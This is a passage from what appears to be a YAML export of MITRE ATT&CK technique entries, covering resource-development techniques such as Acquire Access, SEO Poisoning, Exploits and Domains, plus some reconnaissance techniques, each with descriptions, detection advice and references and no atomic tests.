x_mitre_data_sources: - 'Certificate: Certificate Registration' - 'Malware Repository: Malware Metadata' - 'Internet Scan: Response Content' - 'Malware Repository: Malware Content' x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1650: technique: modified: '2023-04-14T20:04:42.893Z' name: Acquire Access description: |- Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022) Footholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., [Web Shell](https://attack.mitre.org/techniques/T1505/003)) or established access via [External Remote Services](https://attack.mitre.org/techniques/T1133). In some cases, access brokers will implant compromised systems with a “load” that can be used to install additional malware for paying customers.(Citation: Microsoft Ransomware as a Service) By leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers) In some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a [Trusted Relationship](https://attack.mitre.org/techniques/T1199), [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111), or even [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195). **Note:** while this technique is distinct from other behaviors such as [Purchase Technical Data](https://attack.mitre.org/techniques/T1597/002) and [Credentials](https://attack.mitre.org/techniques/T1589/001), they may often be used in conjunction (especially where the acquired foothold requires [Valid Accounts](https://attack.mitre.org/techniques/T1078)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_contributors: - Jeremy Kennelly - Jeffrey Barto x_mitre_deprecated: false x_mitre_detection: "Much of this takes place outside the visibility of the target organization, making detection difficult for defenders. \n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - PRE x_mitre_version: '1.0' type: attack-pattern id: attack-pattern--d21bb61f-08ad-4dc1-b001-81ca6cb79954 created: '2023-03-10T15:37:21.782Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1650 external_id: T1650 - source_name: Krebs Access Brokers Fortune 500 description: Brian Krebs. (2012, October 22). Service Sells Access to Fortune 500 Firms. Retrieved March 10, 2023. url: https://krebsonsecurity.com/2012/10/service-sells-access-to-fortune-500-firms/ - source_name: CrowdStrike Access Brokers description: 'CrowdStrike Intelligence Team. (2022, February 23). Access Brokers: Who Are the Targets, and What Are They Worth?. Retrieved March 10, 2023.' url: https://www.crowdstrike.com/blog/access-brokers-targets-and-worth/ - source_name: CISA Karakurt 2022 description: Cybersecurity Infrastructure and Defense Agency. (2022, June 2). Karakurt Data Extortion Group. Retrieved March 10, 2023. url: https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a - source_name: Microsoft Ransomware as a Service description: 'Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.' url: https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1584.007: technique: modified: '2022-10-20T21:19:57.555Z' name: Serverless description: "Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. \n\nOnce compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: '' x_mitre_platforms: - PRE x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.0' x_mitre_contributors: - Awake Security x_mitre_data_sources: - 'Internet Scan: Response Content' type: attack-pattern id: attack-pattern--df1bc34d-1634-4c93-b89e-8120994fce77 created: '2022-07-08T12:46:15.450Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1584/007 external_id: T1584.007 - source_name: AWS Lambda Redirector description: Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022. url: https://blog.xpnsec.com/aws-lambda-redirector/ - source_name: Detecting Command & Control in the Cloud description: 'Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022.' url: https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/ - source_name: BlackWater Malware Cloudflare Workers description: Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022. url: https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1584.004: technique: modified: '2024-01-31T20:05:44.075Z' name: Server description: |- Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control.(Citation: TrendMicro EarthLusca 2022) Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations. Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_contributors: - Dor Edry, Microsoft x_mitre_deprecated: false x_mitre_detection: |- Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.2' x_mitre_data_sources: - 'Internet Scan: Response Content' - 'Internet Scan: Response Metadata' type: attack-pattern id: attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5 created: '2020-10-01T00:56:25.135Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1584/004 external_id: T1584.004 - source_name: TrendMicro EarthLusca 2022 description: 'Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.' url: https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf - source_name: Koczwara Beacon Hunting Sep 2021 description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021. url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 - source_name: Mandiant SCANdalous Jul 2020 description: Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021. url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation - source_name: ThreatConnect Infrastructure Dec 2020 description: 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.' url: https://threatconnect.com/blog/infrastructure-research-hunting/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1608.006: technique: modified: '2023-03-13T20:35:52.302Z' name: SEO Poisoning description: |- Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO) To help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO) Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader) SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_contributors: - Goldstein Menachem - Vijay Lalwani - Will Thomas, Equinix Threat Analysis Center (ETAC) - Will Jolliffe - Hiroki Nagahama, NEC Corporation - Manikantan Srinivasan, NEC Corporation India - Pooja Natarajan, NEC Corporation India x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.0' x_mitre_data_sources: - 'Internet Scan: Response Content' type: attack-pattern id: attack-pattern--e5d550f3-2202-4634-85f2-4a200a1d49b3 created: '2022-09-30T21:14:12.284Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1608/006 external_id: T1608.006 - source_name: MalwareBytes SEO description: 'Arntz, P. (2018, May 29). SEO poisoning: Is it worth it?. Retrieved September 30, 2022.' url: https://www.malwarebytes.com/blog/news/2018/05/seo-poisoning-is-it-worth-it - source_name: Atlas SEO description: Atlas Cybersecurity. (2021, April 19). Threat Actors use Search-Engine-Optimization Tactics to Redirect Traffic and Install Malware. Retrieved September 30, 2022. url: https://atlas-cybersecurity.com/cyber-threats/threat-actors-use-search-engine-optimization-tactics-to-redirect-traffic-and-install-malware/ - source_name: Sophos Gootloader description: Szappanos, G. & Brandt, A. (2021, March 1). “Gootloader” expands its payload delivery options. Retrieved September 30, 2022. url: https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/ - source_name: DFIR Report Gootloader description: The DFIR Report. (2022, May 9). SEO Poisoning – A Gootloader Story. Retrieved September 30, 2022. url: https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/ - source_name: ZScaler SEO description: Wang, J. (2018, October 17). Ubiquitous SEO Poisoning URLs. Retrieved September 30, 2022. url: https://www.zscaler.com/blogs/security-research/ubiquitous-seo-poisoning-urls-0 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1588.003: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15 type: attack-pattern created: '2020-10-01T02:11:47.237Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1588.003 url: https://attack.mitre.org/techniques/T1588/003 - url: https://en.wikipedia.org/wiki/Code_signing description: Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016. source_name: Wikipedia Code Signing modified: '2022-04-25T14:00:00.188Z' name: Code Signing Certificates description: |- Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |- Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Malware Repository: Malware Metadata' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1587: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf type: attack-pattern created: '2020-10-01T01:30:00.877Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1587 url: https://attack.mitre.org/techniques/T1587 - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016. source_name: Mandiant APT1 - source_name: Kaspersky Sofacy description: Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015. url: https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ - source_name: Bitdefender StrongPity June 2020 url: https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf description: Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020. - source_name: Talos Promethium June 2020 url: https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html description: Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020. - source_name: Splunk Kovar Certificates 2017 url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020. modified: '2022-04-25T14:00:00.188Z' name: Develop Capabilities description: |- Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020) As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |- Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Malware Repository: Malware Content' - 'Malware Repository: Malware Metadata' - 'Internet Scan: Response Content' x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1588.005: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636 type: attack-pattern created: '2020-10-01T02:17:46.086Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1588.005 url: https://attack.mitre.org/techniques/T1588/005 - source_name: Exploit Database url: https://www.exploit-db.com/ description: Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020. - source_name: TempertonDarkHotel description: Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017. url: https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage - source_name: NationsBuying description: Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017. url: https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html - url: https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/ description: 'Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.' source_name: PegasusCitizenLab - source_name: Wired SandCat Oct 2019 url: https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec description: Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020. modified: '2022-04-25T14:00:00.188Z' name: Exploits description: |- Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying) In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel) An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |2- Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1584.001: technique: modified: '2023-10-31T14:00:00.188Z' name: Domains description: |- Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019) Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020) Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |- Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. x_mitre_platforms: - PRE x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.3' x_mitre_contributors: - Jeremy Galloway x_mitre_data_sources: - 'Domain Name: Passive DNS' - 'Domain Name: Domain Registration' - 'Domain Name: Active DNS' type: attack-pattern id: attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba created: '2020-10-01T00:51:28.513Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1584/001 external_id: T1584.001 - source_name: Krebs DNS Hijack 2019 description: Brian Krebs. (2019, February 18). A Deep Dive on the Recent Widespread DNS Hijacking Attacks. Retrieved February 14, 2022. url: https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/ - source_name: ICANNDomainNameHijacking description: 'ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.' url: https://www.icann.org/groups/ssac/documents/sac-007-en - source_name: Palo Alto Unit 42 Domain Shadowing 2022 description: 'Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023.' url: https://unit42.paloaltonetworks.com/domain-shadowing/ - source_name: Microsoft Sub Takeover 2020 description: Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020. url: https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] reconnaissance: T1592: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f type: attack-pattern created: '2020-10-02T16:39:33.966Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1592 url: https://attack.mitre.org/techniques/T1592 - source_name: ATT ScanBox url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.' - source_name: ThreatConnect Infrastructure Dec 2020 url: https://threatconnect.com/blog/infrastructure-research-hunting/ description: 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.' modified: '2022-04-25T14:00:00.188Z' name: Gather Victim Host Information description: |- Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Internet Scan: Response Content' x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1596.003: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca type: attack-pattern created: '2020-10-02T16:58:58.738Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1596.003 url: https://attack.mitre.org/techniques/T1596/003 - source_name: SSLShopper Lookup url: https://www.sslshopper.com/ssl-checker.html description: SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020. - source_name: Medium SSL Cert url: https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2 description: Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: Digital Certificates description: |- Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance 